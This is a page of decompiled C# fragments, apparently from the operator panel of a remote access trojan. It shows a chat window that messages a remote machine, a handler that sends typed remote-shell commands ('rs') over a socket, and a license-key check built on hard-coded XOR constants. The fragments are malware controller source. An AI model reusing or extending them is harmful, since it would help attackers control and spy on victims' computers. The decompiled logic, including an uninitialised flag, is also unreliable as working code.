Example #1
0
 // Token: 0x0600034D RID: 845 RVA: 0x00021108 File Offset: 0x0001F308
 private void T2_KeyDown(object sender, KeyEventArgs e)
 {
     if (e.KeyCode == Keys.Return)
     {
         e.SuppressKeyPress = true;
         if (Operators.CompareString(this.T2.Text, "", false) == 0)
         {
             return;
         }
         lock (this)
         {
             this.T1.SelectionStart = this.T1.TextLength;
             this.T1.SelectionFont  = new Font(this.T1.Font, FontStyle.Bold);
             this.T1.SelectionColor = Color.RoyalBlue;
             this.T1.AppendText(Fungsi.HM() + " " + this.hk + " : ");
             this.T1.SelectionFont  = this.T1.Font;
             this.T1.SelectionStart = this.T1.TextLength;
             this.T1.SelectionColor = Color.WhiteSmoke;
             this.T1.AppendText(this.T2.Text + "\r\n");
             this.T1.ScrollToCaret();
             TextBox t    = this.T2;
             string  text = t.Text;
             t.Text = text;
             this.sk.Send("!" + ima.Y + Fungsi.ENB(ref text));
             this.T2.Text = "";
             return;
         }
     }
     this.T2.Select();
 }
Example #2
0
        // Token: 0x0600034B RID: 843 RVA: 0x00021008 File Offset: 0x0001F208
        private void chat_Load(object sender, EventArgs e)
        {
            this.Text = "Chating With - " + Conversions.ToString(RuntimeHelpers.GetObjectValue(ima.vno(this.osk.L)));
            this.Show();
            string left = Interaction.InputBox("Enter Your Name", "Chat", this.hk, -1, -1);

            if (Operators.CompareString(left, "", false) == 0)
            {
                this.sk.CN = false;
            }
            else
            {
                this.hk = left;
                this.sk.Send("~" + ima.Y + Fungsi.ENB(ref this.hk));
            }
            this.Timer1.Enabled = true;
            this.T2.Select();
            this.T2.Focus();
        }
        // Token: 0x06000937 RID: 2359 RVA: 0x00048850 File Offset: 0x00046A50
        public static bool REGKEY()
        {
            string text    = Fungsi.smethod_0(ima.F.USER + "a98ad");
            string str     = Fungsi.ENB(ref text);
            string codeKey = Fungsi.smethod_0(str + "|523|");
            bool   flag;

            if (Operators.CompareString(ima.F.PASSWORD, Fungsi.XORR(codeKey, "0931"), false) == 0)
            {
                flag = flag;
            }
            else if (Operators.CompareString(ima.F.PASSWORD, Fungsi.XORR(codeKey, "0934"), false) == 0)
            {
                flag = flag;
            }
            else
            {
                flag = !flag;
            }
            return(flag);
        }
Example #4
0
        // Token: 0x06000732 RID: 1842 RVA: 0x0003A48C File Offset: 0x0003868C
        private void T2_KeyDown(object sender, KeyEventArgs e)
        {
            Keys keyCode = e.KeyCode;

            checked
            {
                if (keyCode == Keys.Return)
                {
                    string text = this.T2.Text;
                    this.T2.Text       = "";
                    e.SuppressKeyPress = true;
                    this.A[this.it]    = text;
                    this.it++;
                    if (this.it > this.A.Length - 1)
                    {
                        this.it = 0;
                    }
                    this.sk.Send("rs" + ima.Y + Fungsi.ENB(ref text));
                }
                else if (keyCode == Keys.Down)
                {
                    this.idx += -1;
                    if (this.idx < 0)
                    {
                        this.idx = 0;
                    }
                    this.T2.Text = this.A[this.idx];
                }
                else if (keyCode == Keys.Up)
                {
                    this.idx++;
                    if (this.idx > this.A.Length - 1)
                    {
                        this.idx = this.A.Length - 1;
                    }
                    this.T2.Text = this.A[this.idx];
                }
            }
        }